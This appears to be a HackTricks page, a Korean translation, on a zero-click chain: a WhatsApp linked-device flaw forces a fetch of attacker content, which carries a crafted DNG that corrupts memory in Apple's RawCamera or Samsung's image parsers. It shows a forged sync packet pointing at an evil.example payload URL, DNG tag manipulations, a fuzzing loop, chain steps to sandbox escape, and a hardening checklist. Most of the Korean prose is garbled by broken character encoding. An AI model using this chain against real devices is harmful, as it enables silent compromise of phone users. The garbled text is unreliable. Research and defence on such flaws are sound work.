Zero-click Messaging โ†’ Image Parser Chains

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ

TL;DR

  • Treat messaging app multi-device/companion protocols as remote control channels: ํ”„๋กœํ† ์ฝœ ํ•„๋“œ๊ฐ€ ์‹ ๋ขฐ๋œ ๊ธฐ๊ธฐ์—์„œ ์™”๋‹ค๊ณ  ๊ฐ€์ •๋˜๋”๋ผ๋„ ์‹ค์ œ๋กœ๋Š” ์‚ฌ์šฉ์ž๊ฐ€ ์ œ์–ดํ•  ์ˆ˜ ์žˆ๊ณ  ์ข…์ข… ํ”ผํ•ด์ž์—๊ฒŒ ์ง์ ‘ ์žฌ์ƒ(replay)๋˜์–ด 0 user interaction์œผ๋กœ ์ž„์˜์˜ ์ฝ˜ํ…์ธ ๋ฅผ ๋กœ๋“œํ•  ์ˆ˜ ์žˆ๋‹ค.
  • ์–ด๋–ค ์•ฑ์ด๋ผ๋„ ์‹ ๋ขฐํ•  ์ˆ˜ ์—†๋Š” ๋ฏธ๋””์–ด๋ฅผ ๊ฐ€์ ธ์˜ค๋„๋ก ๊ฐ•์ œํ•  ์ˆ˜ ์žˆ๋‹ค๋ฉด, ์ทจ์•ฝํ•œ ํŒŒ์ผ๋กœ shared OS media pipeline(RawCamera on iOS/macOS, vendor parsers on Android OEM builds)๋ฅผ ํƒ€๊นƒ์œผ๋กœ ์‚ผ์•„ ์ƒŒ๋“œ๋ฐ•์Šค๋ฅผ ๋ฒ—์–ด๋‚˜๋ผ.
  • ์—ฌ๊ธฐ์„œ ๋…ผ์˜ํ•˜๋Š” DNG-based RawCamera ๋ฐ Samsung parser ๋ฒ„๊ทธ๋Š” ๊ตฌ์ฒด์  ์‚ฌ๋ก€์ง€๋งŒ, ์ „์ฒด ๊ธฐ๋ฒ•์€ logic flaws โ†’ image parser memory corruption โ†’ full device compromise๋ฅผ ์—ฐ๊ฒฐํ•˜๋Š” ์žฌ์‚ฌ์šฉ ๊ฐ€๋Šฅํ•œ ์ฒญ์‚ฌ์ง„์ด๋‹ค.

Remote content loading via WhatsApp linked-device commands

Attack surface recap

WhatsApp โ€œlinked devicesโ€ ์•„ํ‚คํ…์ฒ˜๋Š” ๊ธฐ๋ณธ ์ „ํ™”๊ธฐ์™€ ๋ชจ๋“  companion(๋ฐ์Šคํฌํ†ฑ, ํƒœ๋ธ”๋ฆฟ, ๋ณด์กฐ ์ „ํ™”๊ธฐ)์„ ์•”ํ˜ธํ™”๋œ ๊ตฌ์กฐํ™”๋œ ํ”„๋กœํ† ์ฝœ ๋ฉ”์‹œ์ง€๋กœ ๋™๊ธฐํ™”ํ•œ๋‹ค. ๊ฐ ๋ฉ”์‹œ์ง€๋Š” ๋‹ค์Œ์„ ์ธ์ฝ”๋”ฉํ•œ๋‹ค:

  • Device metadata (device ID, capabilities, feature flags).
  • Action descriptors (์˜ˆ: sync chats, fetch thumbnails, render remote content).
  • Arbitrary parameters (URI, MIME ํžŒํŠธ, ํŽ˜์ด์ง€๋„ค์ด์…˜ ํ‚ค ๋“ฑ).

Apple ํด๋ผ์ด์–ธํŠธ์—์„œ๋Š” ์ด๋Ÿฌํ•œ linked-device ์ œ์–ด ํŒจํ‚ท์„ ์ฒ˜๋ฆฌํ•˜๋Š” ํ•ธ๋“ค๋Ÿฌ๊ฐ€ ์œ ํšจํ•œ ํŽ˜์–ด๋ง์ด ์ด๋ฏธ ์ด๋ฃจ์–ด์กŒ๋‹ค๊ณ  ์•”๋ฌต์ ์œผ๋กœ ์‹ ๋ขฐํ–ˆ๊ธฐ ๋•Œ๋ฌธ์—, ์˜ํ–ฅ๋„๊ฐ€ ํฐ ํ•„๋“œ(์˜ˆ: resource_url, open_media, sync_snapshot)๋Š” ์ตœ์†Œํ•œ์œผ๋กœ๋งŒ ๊ฒ€์ฆ๋˜์—ˆ๋‹ค. ๋”ฐ๋ผ์„œ ์•…์˜์ ์ธ companion ๋ฉ”์‹œ์ง€๋Š” ๋‹ค์Œ์„ ์ˆ˜ํ–‰ํ•  ์ˆ˜ ์žˆ๋‹ค:

  1. ์ „ํ™”๋ฒˆํ˜ธ๋กœ ์‹๋ณ„๋˜๋Š” ์–ด๋–ค ๊ณ„์ •์œผ๋กœ๋„ ๋ผ์šฐํŒ…๋  ์ˆ˜ ์žˆ๋‹ค.
  2. ์ˆ˜์‹ ์ž๊ฐ€ ๋ณด๋‚ธ์ด๊ฐ€ ํ•ฉ๋ฒ•์ ์œผ๋กœ ํŽ˜์–ด๋ง๋œ ๊ธฐ๊ธฐ์ธ์ง€ ํ™•์ธํ•˜์ง€ ์•Š์•˜๊ธฐ ๋•Œ๋ฌธ์— ์ „์†ก ์Šคํƒ(Noise protocol + WhatsApp protobuf framing)์„ ํ†ต๊ณผํ•  ์ˆ˜ ์žˆ๋‹ค.
  3. iOS ํด๋ผ์ด์–ธํŠธ์— ๋„๋‹ฌํ•˜๋ฉด ์ทจ์•ฝํ•œ ์ฝ”๋“œ ๊ฒฝ๋กœ๊ฐ€ ์ž๋™์œผ๋กœ ๋ฐฑ๊ทธ๋ผ์šด๋“œ HTTP(S) ์š”์ฒญ์„ ๊ณต๊ฒฉ์ž URL๋กœ ํŠธ๋ฆฌ๊ฑฐํ•˜๊ณ  ์‘๋‹ต์„ ์ˆจ๊ฒจ์ง„ WebView/media renderer์—์„œ ํŒŒ์‹ฑํ•˜๊ฒŒ ํ–ˆ๋‹ค.

Practical workflow for auditors

  1. ์ •์ƒ์ ์ธ linked-device ํŠธ๋ž˜ํ”ฝ์„ ์บก์ฒ˜ํ•˜๋ผ. ๋””๋ฒ„๊ฑฐ๋‚˜ Frida ์Šคํฌ๋ฆฝํŠธ๋ฅผ ๋ฐ์Šคํฌํ†ฑ/iOS ํด๋ผ์ด์–ธํŠธ์— ๋ถ™์—ฌ์„œ post-decryption ํ•ธ๋“ค๋Ÿฌ(์˜ˆ: LinkedDevicesSyncHandler::processAction)๋ฅผ ํ›„ํ‚นํ•˜๋ผ. ๋””์ฝ”๋“œ๋œ protobuf ํŽ˜์ด๋กœ๋“œ๋ฅผ ๋คํ”„ํ•ด์„œ ์‚ฌ์šฉ ๊ฐ€๋Šฅํ•œ ์•ก์…˜ ํƒ€์ž…๊ณผ ํŒŒ๋ผ๋ฏธํ„ฐ๋ฅผ ํ•™์Šตํ•˜๋ผ.
  2. ์‹ ๋ขฐ ๊ฒฝ๊ณ„๋ฅผ ๋„˜๋Š” ํ•„๋“œ๋ฅผ ์‹๋ณ„ํ•˜๋ผ. http_url, thumbnail_uri, download_url, render_html ๊ฐ™์€ ์—„๊ฒฉํ•œ ํ—ˆ์šฉ ๋ชฉ๋ก์ด ์—†๋Š” ํŒŒ๋ผ๋ฏธํ„ฐ๋ฅผ ์šด๋ฐ˜ํ•˜๋Š” ์•ก์…˜์€ ์›๊ฒฉ ์ฝ˜ํ…์ธ  ํ”„๋ฆฌ๋ฏธํ‹ฐ๋ธŒ ํ›„๋ณด๋‹ค.
  3. ์•…์„ฑ ์•ก์…˜์„ ์œ„์กฐํ•˜๋ผ. ๊ด€์ฐฐํ•œ protobuf ์Šคํ‚ค๋งˆ๋ฅผ ์žฌ์‚ฌ์šฉํ•˜๊ณ  ๊ณต๊ฒฉ์ž๊ฐ€ ์ œ์–ดํ•˜๋Š” ํ•„๋“œ๋งŒ ์ˆ˜์ •ํ•˜๋ผ. ๊ด€๋ จ ๋…ผ๋ฆฌ ๊ตฌ์กฐ์˜ ๋‹จ์ˆœํ™”๋œ JSON ๋ทฐ๋Š” ์•„๋ž˜์— ํ‘œ์‹œ๋œ๋‹ค(์‹ค์ œ ์ „์†ก์€ protobuf/Noise์ด์ง€๋งŒ ์˜๋ฏธ์  ํ•„๋“œ๋Š” ์ผ์น˜ํ•œ๋‹ค):
{
"op": "sync_action",
"device_id": "<attacker-companion>",
"payload": {
"target": "content_sync",
"resource_url": "https://evil.example/payload.html",
"media_type": "image/dng",
"flags": ["background_fetch", "render_inline"]
}
}
  1. ํ”ผํ•ด์ž์—๊ฒŒ ์ „๋‹ฌ. ํ‰์ƒ์‹œ linked-device ํŠธ๋ž˜ํ”ฝ์„ ์ „๋‹ฌํ•˜๋Š” ๋™์ผํ•œ WhatsApp ์„œ๋น„์Šค(์˜ˆ: ์ˆ˜์ •๋œ ๋ฐ์Šคํฌํ†ฑ ํด๋ผ์ด์–ธํŠธ๋‚˜ ๊ณต๊ฒฉ์ž ๊ณ„์ • ํ‚ค๋ฅผ ์žฌ์‚ฌ์šฉํ•˜๋Š” ์ปค์Šคํ…€ Noise ํด๋ผ์ด์–ธํŠธ)๋ฅผ ํ†ตํ•ด ์ œ์ž‘ํ•œ ํŒจํ‚ท์„ ์žฌ์ „์†กํ•œ๋‹ค. CVE-2025-55177์ด ๋™์ž‘์„ ์ธ์ฆ๋œ ์žฅ์น˜์— ๋ฌถ์ง€ ๋ชปํ–ˆ๊ธฐ ๋•Œ๋ฌธ์—, ํ”ผํ•ด์ž iOS/macOS ํด๋ผ์ด์–ธํŠธ๋Š” ๋ฉ”์‹œ์ง€๋ฅผ ์ˆ˜๋ฝํ•˜๊ณ  ์–ด๋– ํ•œ UI ์—†์ด ์ฆ‰์‹œ ๊ณต๊ฒฉ์ž URL์„ ๊ฐ€์ ธ์˜จ๋‹ค.
  2. ๊ฐ€์ ธ์˜ค๊ธฐ ๊ณ„์ธก. ๊ฐ•์ œ๋œ HTTP(S) ์š”์ฒญ๊ณผ ๋‚ด๋ถ€ ๋ Œ๋”๋Ÿฌ(WKWebView/ImageIO)๋ฅผ ๊ด€์ฐฐํ•œ๋‹ค. ์ด ์‹œ์ ์—์„œ ๊ณต๊ฒฉ์ž๋Š” WhatsApp ๋‚ด๋ถ€์— zero-click web delivery primitive๋ฅผ ๋ณด์œ ํ•˜๊ฒŒ ๋œ๋‹ค.

RawCamera์— ๋Œ€ํ•ด ์ž๋™ ๋””์ฝ”๋”ฉ๋œ DNG ๋ฌด๊ธฐํ™”

๊ณต๊ฒฉ์ž๊ฐ€ WhatsApp์ด ๋กœ๋“œํ•˜๋Š” ๋‚ด์šฉ์„ ์ œ์–ดํ•˜๋ฉด, ๋‹ค์Œ ๋ชฉํ‘œ๋Š” iOS/macOS๊ฐ€ Digital Negative (DNG) ํŒŒ์ผ์„ RawCamera ํ”„๋ ˆ์ž„์›Œํฌ๋กœ ํŒŒ์‹ฑํ•˜๋„๋ก ๋งŒ๋“œ๋Š” ๊ฒƒ์ด๋‹ค. .dng๋กœ ํ•ด์„๋˜๋Š” ๋ชจ๋“  ๋‚ด์žฅ๋œ <img>/CSS URL์€ ์‹œ์Šคํ…œ ์ด๋ฏธ์ง€ ํŒŒ์ดํ”„๋ผ์ธ์œผ๋กœ ์ „๋‹ฌ๋˜์–ด, WhatsApp ์ž์ฒด๊ฐ€ DNG๋ฅผ ๋ช…์‹œ์ ์œผ๋กœ ์ฒ˜๋ฆฌํ•˜์ง€ ์•Š๋”๋ผ๋„ RawCamera๋ฅผ ํ˜ธ์ถœํ•˜๊ฒŒ ๋œ๋‹ค.

WhatsApp์—์„œ RawCamera ํŠธ๋ฆฌ๊ฑฐํ•˜๊ธฐ

  • ๋‹ค์–‘ํ•œ ๋ Œ๋” ๊ฒฝ๋กœ๋ฅผ ์ปค๋ฒ„ํ•˜๊ธฐ ์œ„ํ•ด DNG๋ฅผ ์ฐธ์กฐํ•˜๋Š” HTML์„ ์—ฌ๋Ÿฌ ๋ฐฉ์‹์œผ๋กœ ์ œ๊ณตํ•œ๋‹ค(์˜ˆ: <img src="evil.dng">, CSS background-image: url('evil.dng'), ๋˜๋Š” <picture> ์†Œ์Šค).
  • ์˜ฌ๋ฐ”๋ฅธ MIME(image/x-adobe-dng)๊ณผ ์ž‘์€ ๋ฏธ๋ฆฌ๋ณด๊ธฐ๋ฅผ ๋ณด์žฅํ•˜์—ฌ ๋กœ๋”๊ฐ€ ํฌ๊ธฐ ํœด๋ฆฌ์Šคํ‹ฑ ๋•Œ๋ฌธ์— ์ผ์ฐ ํฌ๊ธฐํ•˜์ง€ ์•Š๋„๋ก ํ•œ๋‹ค.
  • iOS ๋ฏธ๋””์–ด ์ƒŒ๋“œ๋ฐ•์Šค๋Š” ํŒŒ์ผ์„ CGImageSourceCreateWithURL์„ ํ†ตํ•ด RawCamera๋กœ ์ŠคํŠธ๋ฆฌ๋ฐํ•˜๋ฉฐ, ๊ฒฐ๊ตญ ์ทจ์•ฝํ•œ ๋””์ฝ”๋”์— ๋„๋‹ฌํ•œ๋‹ค.

๋ฉ”๋ชจ๋ฆฌ ์†์ƒ ์œ ๋ฐœ DNG ์ œ์ž‘ (CVE-2025-43300 ์Šคํƒ€์ผ)

์žฌํ˜„๋œ ๋ฒ„๊ทธ๋Š” ๋ฉ”ํƒ€๋ฐ์ดํ„ฐ ๋ถˆ์ผ์น˜๋กœ ์ธํ•ด ๋ฒ„ํผ ํ• ๋‹น๊ณผ ์‹ค์ œ ํ”ฝ์…€ ์ฝ๊ธฐ๊ฐ€ ๋น„๋™๊ธฐํ™”๋˜๋Š” ๊ฒƒ์— ์˜์กดํ–ˆ๋‹ค. ์ผ๋ฐ˜์ ์ธ ์กฐ์ž‘ ์ง€์ ์€ ๋‹ค์Œ๊ณผ ๊ฐ™๋‹ค:

  • Tile/strip descriptors: TileByteCounts/StripByteCounts๋ฅผ ํ˜„์‹ค์ ์ธ ๊ฐ’์œผ๋กœ ์„ค์ •ํ•˜๋˜ TileOffsets๋ฅผ ์ฆ๊ฐ€์‹œ์ผœ ํ• ๋‹น๋œ ๋ฒ„ํผ๋ฅผ ์ดˆ๊ณผํ•˜๋„๋ก ๊ฐ€๋ฆฌํ‚จ๋‹ค.
  • Sub-IFD chains: ์ถฉ๋Œํ•˜๋Š” ImageWidth/ImageLength ๋ฐ BitsPerSample์„ ๊ฐ€์ง„ 2์ฐจ ์ด๋ฏธ์ง€๋ฅผ ์‚ฝ์ž…ํ•˜์—ฌ RawCamera๊ฐ€ ์ž‘์€ ๋ฒ„ํผ๋ฅผ ๊ณ„์‚ฐํ•˜๋Š” ๋™์•ˆ ์ดํ›„ ๋‹จ๊ณ„๊ฐ€ ๊ณต๊ฒฉ์ž๊ฐ€ ์กฐ์ž‘ํ•œ ์น˜์ˆ˜๋ฅผ ์‹ ๋ขฐํ•˜๊ฒŒ ๋งŒ๋“ ๋‹ค.
  • Opcode metadata: OpcodeList3 ํ•ญ๋ชฉ์„ ์กฐ์ž‘ํ•˜์—ฌ ํ–‰๋ณ„ ์ฒ˜๋ฆฌ์—์„œ ๊ณต๊ฒฉ์ž๊ฐ€ ์„ ํƒํ•œ ์ธ๋ฑ์Šค๋กœ ๋™์ž‘ํ•˜๊ฒŒ ํ•œ๋‹ค.

์œ ์‚ฌํ•œ ์†์ƒ์„ ์ฐพ๊ธฐ ์œ„ํ•œ ๊ธฐ๋ณธ์ ์ธ mutation harness๋Š” ๋™์ผํ•œ RawCamera ์ฝ”๋“œ๊ฐ€ macOS/iOS/iPadOS์— ๋ฐฐํฌ๋˜๋ฏ€๋กœ macOS๋ฅผ ์ค‘์‹ฌ์œผ๋กœ ๊ตฌ์ถ•ํ•  ์ˆ˜ ์žˆ๋‹ค:

#!/bin/bash
set -e
for sample in corpus/*.dng; do
radamsa "$sample" > /tmp/poc.dng
/System/Library/CoreServices/RawCamera.bundle/Contents/MacOS/RawCamera /tmp/poc.dng >/tmp/out 2>&1 || {
mv /tmp/poc.dng crashes/$(date +%s).dng
}
done

๊ฐ RawCamera ํฌ๋ž˜์‹œ๋Š” ์ƒˆ๋กœ์šด primitive๋ฅผ ์ œ๊ณตํ•ฉ๋‹ˆ๋‹ค. ๊ณต๊ฐœ๋œ PoC๋Š” WhatsApp์„ iPhone, iPad, Mac์—์„œ ์ถฉ๋Œ์‹œํ‚ฌ ๋งŒํผ ์‹ ๋ขฐํ•  ์ˆ˜ ์žˆ๋Š” out-of-bounds read/write๋ฅผ ๋‹ฌ์„ฑํ–ˆ์Šต๋‹ˆ๋‹ค.

Building the 0-click chain

  1. Linked-device packet โ†’ ํ”ผํ•ด์ž์˜ ๊ธฐ๊ธฐ์—์„œ ์–ด๋–ค ํƒญ๋„ ์—†์ด WhatsApp์ด https://evil.example/payload.html์„ ๊ฐ€์ ธ์˜ค๋„๋ก ๊ฐ•์ œํ•ฉ๋‹ˆ๋‹ค.
  2. Payload HTML โ†’ evil.dng๋ฅผ ์กฐ์šฉํžˆ ์ฐธ์กฐํ•˜์—ฌ OS ๋ฏธ๋””์–ด ์Šคํƒ์ด RawCamera๋ฅผ ํ˜ธ์ถœํ•˜๊ฒŒ ๋ณด์žฅํ•ฉ๋‹ˆ๋‹ค.
  3. Malicious DNG โ†’ ์กฐ์ž‘๋œ ํƒœ๊ทธ๋ฅผ ์•…์šฉํ•ด RawCamera์˜ OOB๋ฅผ ์œ ๋ฐœํ•˜๊ณ  ์ด๋ฏธ์ง€ ๋””์ฝ”๋”๋ฅผ ํฌ๋ž˜์‹œ/์žฅ์•…ํ•ฉ๋‹ˆ๋‹ค.
  4. Post-corruption exploitation โ†’ info-leak gadgets(์˜ˆ: ์˜ˆ์ธก ๊ฐ€๋Šฅํ•œ ํž™ ๋ฉ”ํƒ€๋ฐ์ดํ„ฐ ์•…์šฉ)๋ฅผ ์ถ”๊ฐ€ํ•˜๊ณ  ROP/JOP ์ฒด์ธ์„ ๋ฐฐ์น˜ํ•ด WhatsApp ์ƒŒ๋“œ๋ฐ•์Šค์—์„œ ํƒˆ์ถœํ•˜์—ฌ ๋” ๋†’์€ ๊ถŒํ•œ ์ปจํ…์ŠคํŠธ๋กœ ์ง„์ž…ํ•ฉ๋‹ˆ๋‹ค.

๋ชจ๋“  ๋‹จ๊ณ„๊ฐ€ ์ž๋™์œผ๋กœ ์ˆ˜ํ–‰๋˜๋ฏ€๋กœ ๊ณต๊ฒฉ์ž๋Š” ํ”ผํ•ด์ž์˜ ์ „ํ™”๋ฒˆํ˜ธ๋งŒ ์žˆ์œผ๋ฉด ๋ฉ๋‹ˆ๋‹ค. ๋Œ€์ƒ ๊ธฐ๊ธฐ์—๋Š” ์•Œ๋ฆผ, ๋ฐฐ๋„ˆ ๋˜๋Š” ํ”„๋กฌํ”„ํŠธ๊ฐ€ ํ‘œ์‹œ๋˜์ง€ ์•Š์Šต๋‹ˆ๋‹ค.

Samsung vendor image parser parallels

Samsung์˜ CVE-2025-21043 ๊ณต์ง€๋Š” Gallery, Messages, ๊ทธ๋ฆฌ๊ณ  ๊ฐ„์ ‘์ ์œผ๋กœ WhatsApp์—์„œ ์‚ฌ์šฉ๋˜๋Š” ๊ทธ๋“ค์˜ ๋…์  ์ด๋ฏธ์ง€ ํŒŒ์‹ฑ ์Šคํƒ์ด ์‹ ๋ขฐ๋˜์ง€ ์•Š์€ ๋ฏธ๋””์–ด๋ฅผ ํ†ตํ•ด ๋„๋‹ฌ ๊ฐ€๋Šฅํ•œ out-of-bounds write๋ฅผ ๊ฒช์—ˆ๋‹ค๊ณ  ํ™•์ธํ–ˆ์Šต๋‹ˆ๋‹ค. ์ต์Šคํ”Œ๋กœ์ž‡ ๋ฐฉ๋ฒ•๋ก ์€ Apple ์ฒด์ธ๊ณผ ์œ ์‚ฌํ•ฉ๋‹ˆ๋‹ค:

  • ๊ณต๊ฒฉ์ž ํŒŒ์ผ์„ Samsung์˜ libimagecodec/libOneUI_ImageDecoder ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ๋กœ ํŒŒ์‹ฑํ•˜๋Š” ์ž๋™ ๋ฏธ๋ฆฌ๋ณด๊ธฐ ๋ฒกํ„ฐ(์ฑ„ํŒ… ์ธ๋„ค์ผ, ์•Œ๋ฆผ ๋ฏธ๋ฆฌ๋ณด๊ธฐ, ๊ณต์œ  ์‹œํŠธ ๋“ฑ)๋ฅผ ์‹๋ณ„ํ•ฉ๋‹ˆ๋‹ค.
  • OEM ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ ์—…๋ฐ์ดํŠธ๋ฅผ ๋น„๊ต(diff)ํ•˜๊ฑฐ๋‚˜ ์ž˜๋ชป๋œ RAW/DNG ํŒŒ์ผ๋กœ ํŒŒ์„œ๋ฅผ ํผ์ฆˆํ•ด RawCamera ํฌ๋ž˜์‹œ์™€ ์œ ์‚ฌํ•œ ๋ฉ”๋ชจ๋ฆฌ ์†์ƒ(ํž™ ๋ฉ”ํƒ€๋ฐ์ดํ„ฐ ํŒŒ๊ดด, ๋ ˆ์ง€์Šคํ„ฐ ์ œ์–ด ๋“ฑ)์ด ๋‚˜ํƒ€๋‚  ๋•Œ๊นŒ์ง€ ์‹œ๋„ํ•ฉ๋‹ˆ๋‹ค.
  • ์ด๋ฏธ ์ฝ˜ํ…์ธ ๋ฅผ ์ž๋™์œผ๋กœ ๋กœ๋“œํ•˜๋Š” ์ฑ„๋„(์˜ˆ: ๋™์ผํ•œ linked-device primitive, WhatsApp ํ”„๋ฆฌ๋ทฐ ํŽ˜์ฒ˜, ๋˜๋Š” Android์˜ push-to-talk waveform ํ”„๋ฆฌ๋ทฐ)์„ ํ†ตํ•ด ์กฐ์ž‘๋œ ํŒŒ์ผ์„ ์ „๋‹ฌํ•ฉ๋‹ˆ๋‹ค.

๋ฒค๋” ํŒŒ์„œ์— OOB write๊ฐ€ ์กด์žฌํ•˜๋ฉด, ์ด๋ฅผ WhatsApp ์ž๋™-ํŽ˜์น˜ primitive์™€ ๊ฒฐํ•ฉํ•ด Samsung ๊ธฐ๊ธฐ์—์„œ๋„ ๋˜ ๋‹ค๋ฅธ zero-click chain์„ ๋งŒ๋“ค ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

Testing & hardening checklist

  • Protocol validation: ๋ชจ๋“  linked-device ์•ก์…˜์— ๋Œ€ํ•ด ์—„๊ฒฉํ•œ allow-list๋ฅผ ์ ์šฉํ•˜์‹ญ์‹œ์˜ค. fetch/render๋ฅผ ์š”์ฒญํ•˜๋Š” ๋™๋ฐ˜ ๋ช…๋ น์€ ๊ธฐ๊ธฐ ํŽ˜์–ด๋ง์„ ์ฆ๋ช…(ํŽ˜์ด๋กœ๋“œ ์„œ๋ช…)ํ•ด์•ผ ํ•˜๊ณ  URL์€ allow-list ๋˜๋Š” ์„œ๋ช…๋œ ๋ธ”๋กญ๊ณผ ์ผ์น˜ํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค.
  • Transport replay countermeasures: ๊ฐ ์•ก์…˜์„ ๊ธฐ๊ธฐ๋ณ„ ํ‚ค์— ๋ฐ”์ธ๋“œํ•˜๊ณ  protobuf ๋ฌธ๋ฒ•์ด ์˜ฌ๋ฐ”๋ฅด๋”๋ผ๋„ ์†ก์‹ ์ž ํ‚ค๊ฐ€ ์•Œ๋ ค์ง€์ง€ ์•Š์€ ํŒจํ‚ท์€ ๊ฑฐ๋ถ€ํ•˜์‹ญ์‹œ์˜ค.
  • Media pipeline restrictions: ๊ณ ์ˆ˜์ค€ ์•ฑ์€ ์Šน์ธ๋œ MIME ํƒ€์ž…๋งŒ ํ—ˆ์šฉํ•˜๊ณ  ๊ธฐ๋Šฅ์ƒ ํ•„์š”ํ•˜์ง€ ์•Š๋‹ค๋ฉด RAW/DNG๋Š” ๋ช…์‹œ์ ์œผ๋กœ ๊ฑฐ๋ถ€ํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค.
  • Parser fuzzing regression tests: ์ž˜๋ชป๋œ RAW/DNG ํŒŒ์ผ ์ฝ”ํผ์Šค๋ฅผ ๋ณด๊ด€ํ•˜๊ณ  ์—…๋ฐ์ดํŠธ ํ›„ RawCamera/๋ฒค๋” ๋””์ฝ”๋”์— ๋Œ€ํ•ด ์‹คํ–‰ํ•˜์‹ญ์‹œ์˜ค.
  • Crash triage automation: ํผ์ฆˆ ์žฅ๋น„์— DYLD_INSERT_LIBRARIES sanitizer๋‚˜ MTE๋ฅผ ์ ์šฉํ•˜์—ฌ ๊ณต๊ฒฉ์ž๋ณด๋‹ค ๋จผ์ € ๋ฏธ์„ธํ•œ OOB ์กฐ๊ฑด์„ ํฌ์ฐฉํ•˜์‹ญ์‹œ์˜ค.

References

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ